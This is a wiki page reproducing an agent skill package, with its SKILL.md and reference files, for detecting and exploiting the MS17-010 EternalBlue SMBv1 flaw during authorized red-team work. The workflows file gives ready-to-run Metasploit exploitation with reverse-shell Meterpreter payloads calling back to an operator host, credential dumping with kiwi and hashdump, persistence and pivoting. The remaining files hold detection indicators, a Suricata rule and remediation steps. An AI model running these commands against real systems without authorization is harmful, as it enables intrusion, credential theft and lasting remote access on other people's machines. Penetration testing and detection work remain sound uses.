exploiting-ms17-010-eternalblue-vulnerability skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. Detects and exploits MS17-010 (EternalBlue), a critical remote code execution flaw in Microsoft's SMBv1 implementation, using Nmap's ms-17-010 NSE script for detection and Metasploit's ms17_010_eternalblue/ms17_010_psexec modules for exploitation. Use during authorized red-team engagements or penetration tests against legacy Windows environments with unpatched SMBv1 to gain remote code execution. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-ms17-010-eternalblue-vulnerability, or copy the skill folder into ~/.claude/skills/exploiting-ms17-010-eternalblue-vulnerability/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md

SKILL.md (verbatim)

name: exploiting-ms17-010-eternalblue-vulnerability
description: >-
  Detects and exploits MS17-010 (EternalBlue), a critical remote code execution
  flaw in Microsoft's SMBv1 implementation, using Nmap's ms-17-010 NSE script for
  detection and Metasploit's ms17_010_eternalblue/ms17_010_psexec modules for
  exploitation. Use during authorized red-team engagements or penetration tests
  against legacy Windows environments with unpatched SMBv1 to gain remote code
  execution.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- adversary-simulation
- mitre-attack
- exploitation
- post-exploitation
- eternalblue
- smb
- remote-code-execution
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Application Protocol Command Analysis
- Network Isolation
- Network Traffic Analysis
- Client-server Payload Profiling
- Platform Monitoring
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078

Exploiting MS17-010 EternalBlue Vulnerability

Overview

MS17-010 (EternalBlue) is a critical vulnerability in Microsoft's SMBv1 implementation that allows remote code execution. Originally discovered by the NSA and leaked by the Shadow Brokers in 2017, it was used in the WannaCry and NotPetya ransomware campaigns. Despite patches being available since March 2017, many organizations still have unpatched systems, making it a viable red team exploitation vector especially in legacy environments.

When to Use

  • When performing authorized security testing that involves exploiting ms17 010 eternalblue vulnerability
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

MITRE ATT&CK Mapping

  • T1210 - Exploitation of Remote Services
  • T1190 - Exploit Public-Facing Application
  • T1569.002 - System Services: Service Execution

Workflow

Phase 1: Vulnerability Scanning

  1. Scan target networks for SMB port 445
  2. Check for SMBv1 protocol support
  3. Run MS17-010 vulnerability check (Nmap NSE script or Metasploit auxiliary)
  4. Document vulnerable systems with OS version and patch level

Phase 2: Exploitation

  1. Select appropriate exploit variant based on target OS
  2. Configure exploit payload (Meterpreter, Cobalt Strike beacon, custom shellcode)
  3. Execute exploit against confirmed vulnerable target
  4. Verify code execution and establish session

Phase 3: Post-Exploitation

  1. Establish persistence on compromised system
  2. Dump credentials from memory
  3. Use compromised host as pivot point
  4. Document exploitation evidence

Tools and Resources

Tool Purpose
Nmap ms-17-010 NSE scripts Vulnerability detection
Metasploit ms17_010_eternalblue Exploitation module
Metasploit ms17_010_psexec Alternative exploitation
AutoBlue-MS17-010 Standalone Python exploit
CrackMapExec Mass SMB vulnerability scanning

Detection Indicators

  • IDS/IPS signatures for EternalBlue exploit traffic
  • SMBv1 negotiation from unusual source hosts
  • Event ID 7045: New service installation after exploitation
  • Anomalous named pipe activity on SMB
  • Large SMB write requests characteristic of buffer overflow

Validation Criteria

  • Vulnerable systems identified via scanning
  • Exploitation achieved on authorized target
  • Code execution confirmed with session established
  • Post-exploitation activities documented
  • Remediation recommendations provided

Other files in this skill

assets/template.md (verbatim)

MS17-010 EternalBlue Assessment Template

Summary

Hosts Scanned SMB Open Vulnerable Exploited

Vulnerable Hosts

IP OS Patch Level Exploited Impact
Missing MS17-010 Yes/No SYSTEM access

Exploitation Evidence

  • Target: [IP]
  • Method: [Metasploit/Manual]
  • Payload: [Meterpreter/Beacon]
  • Access Level: SYSTEM
  • Screenshot: [Reference]

Recommendations

  1. Apply MS17-010 patch immediately
  2. Disable SMBv1 protocol
  3. Block port 445 at perimeter
  4. Segment legacy systems

MITRE ATT&CK

  • T1210 - Exploitation of Remote Services

references/api-reference.md (verbatim)

API Reference: MS17-010 (EternalBlue) Detection

CVE-2017-0144 — EternalBlue

Affected Systems

  • Windows XP, Vista, 7, 8, 8.1, 10 (pre-patch)
  • Windows Server 2003, 2008, 2008 R2, 2012, 2016 (pre-patch)

Protocol: SMBv1 (Port 445)

Nmap NSE Script

Check for MS17-010

nmap -p 445 --script smb-vuln-ms17-010 <target>

Output (Vulnerable)

PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers
|     Risk factor: HIGH  CVSSv2: 9.3

SMB Protocol Basics

Negotiate Protocol Request

Offset Size Field
0 4 NetBIOS Session header
4 4 SMB magic (0xFF534D42)
8 1 Command (0x72 = Negotiate)
9 4 Status
13 1 Flags

SMB Versions

Version Protocol Notes
SMBv1 NT LM 0.12 Vulnerable to EternalBlue
SMBv2 SMB 2.002 Not vulnerable
SMBv3 SMB 3.0 Not vulnerable

Python Socket Check

SMBv1 Connection Test

import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target, 445))
sock.send(SMB_NEGOTIATE_PACKET)
response = sock.recv(4096)

Metasploit Module (Authorized Testing)

Scanner

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target>
run

Detection Events

Source Indicator
Windows Event 7036 Service state change
Sysmon Event 3 Network connection to 445
IDS Signature for EternalBlue SMB exploit

Remediation

  1. Apply MS17-010 patch (KB4012598 / KB4013389)
  2. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false
  3. Block port 445 at network perimeter
  4. Enable Windows Firewall rules for SMB

Suricata Detection Rule

alert tcp any any -> $HOME_NET 445 (msg:"ET EXPLOIT EternalBlue Attempt";
  flow:established,to_server; content:"|ff|SMB|73|";
  content:"|08 00|"; within:2; distance:54; sid:2024217;)

references/standards.md (verbatim)

Standards and Framework References

MITRE ATT&CK

Technique ID Name Tactic
T1210 Exploitation of Remote Services Lateral Movement
T1190 Exploit Public-Facing Application Initial Access
T1569.002 System Services: Service Execution Execution

CVE Details

  • CVE-2017-0143 through CVE-2017-0148 - Multiple SMBv1 remote code execution vulnerabilities
  • MS17-010 - Microsoft Security Bulletin (March 14, 2017)
  • CVSS Score: 9.3 (Critical)
  • Affected: Windows XP through Windows Server 2016

Affected Systems

OS Version Vulnerable
Windows XP SP3 Yes (no longer supported)
Windows 7 SP1 Yes (patched with KB4012212)
Windows Server 2008 R2 SP1 Yes (patched with KB4012212)
Windows Server 2012 R2 Yes (patched with KB4012213)
Windows 10 1607 and earlier Yes (patched with KB4013198)
Windows Server 2016 RTM Yes (patched with KB4013429)

NIST NVD References

  • CVE-2017-0144: Buffer overflow in SMBv1 server
  • Allows remote attackers to execute arbitrary code via crafted packets

Detection Signatures

  • Snort SID 41978: SMB EternalBlue exploit attempt
  • Suricata: ET EXPLOIT Possible MS17-010 SMB Request

references/workflows.md (verbatim)

EternalBlue Exploitation Workflows

Workflow 1: Vulnerability Detection

Nmap NSE Scripts

# Check for MS17-010 vulnerability
nmap -p 445 --script smb-vuln-ms17-010 10.0.0.0/24

# Extended SMB vulnerability scan
nmap -p 445 --script smb-vuln-* 10.0.0.1

# SMB version detection
nmap -p 445 --script smb-protocols 10.0.0.1

CrackMapExec

# Mass scan for MS17-010
crackmapexec smb 10.0.0.0/24 -M ms17-010

# Check with authentication
crackmapexec smb 10.0.0.0/24 -u user -p password -M ms17-010

Metasploit Auxiliary Scanner

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
set THREADS 10
run

Workflow 2: Exploitation with Metasploit

EternalBlue Module

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.100
set LPORT 443
exploit

# Post-exploitation
meterpreter > getuid
meterpreter > sysinfo
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all

EternalRomance/Synergy (PsExec variant)

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 10.0.0.1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.100
set SMBUser ""
set SMBPass ""
exploit

Workflow 3: Post-Exploitation

Credential Dumping

meterpreter > load kiwi
meterpreter > creds_all
meterpreter > kerberos_ticket_list
meterpreter > lsa_dump_secrets

Persistence

meterpreter > run persistence -U -i 30 -p 4444 -r 10.0.0.100
meterpreter > run post/windows/manage/enable_rdp

Pivoting

meterpreter > run post/multi/manage/autoroute
meterpreter > portfwd add -l 445 -p 445 -r 10.0.1.1

OPSEC Considerations

  1. EternalBlue exploitation is noisy and easily detected by IDS/IPS
  2. Modern EDR solutions detect named pipe and service creation patterns
  3. Exploitation may crash the target system (especially on 32-bit systems)
  4. Use only against confirmed vulnerable systems within ROE scope
  5. Prefer authenticated exploitation variants when credentials are available
  6. Document any system crashes or instability immediately

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.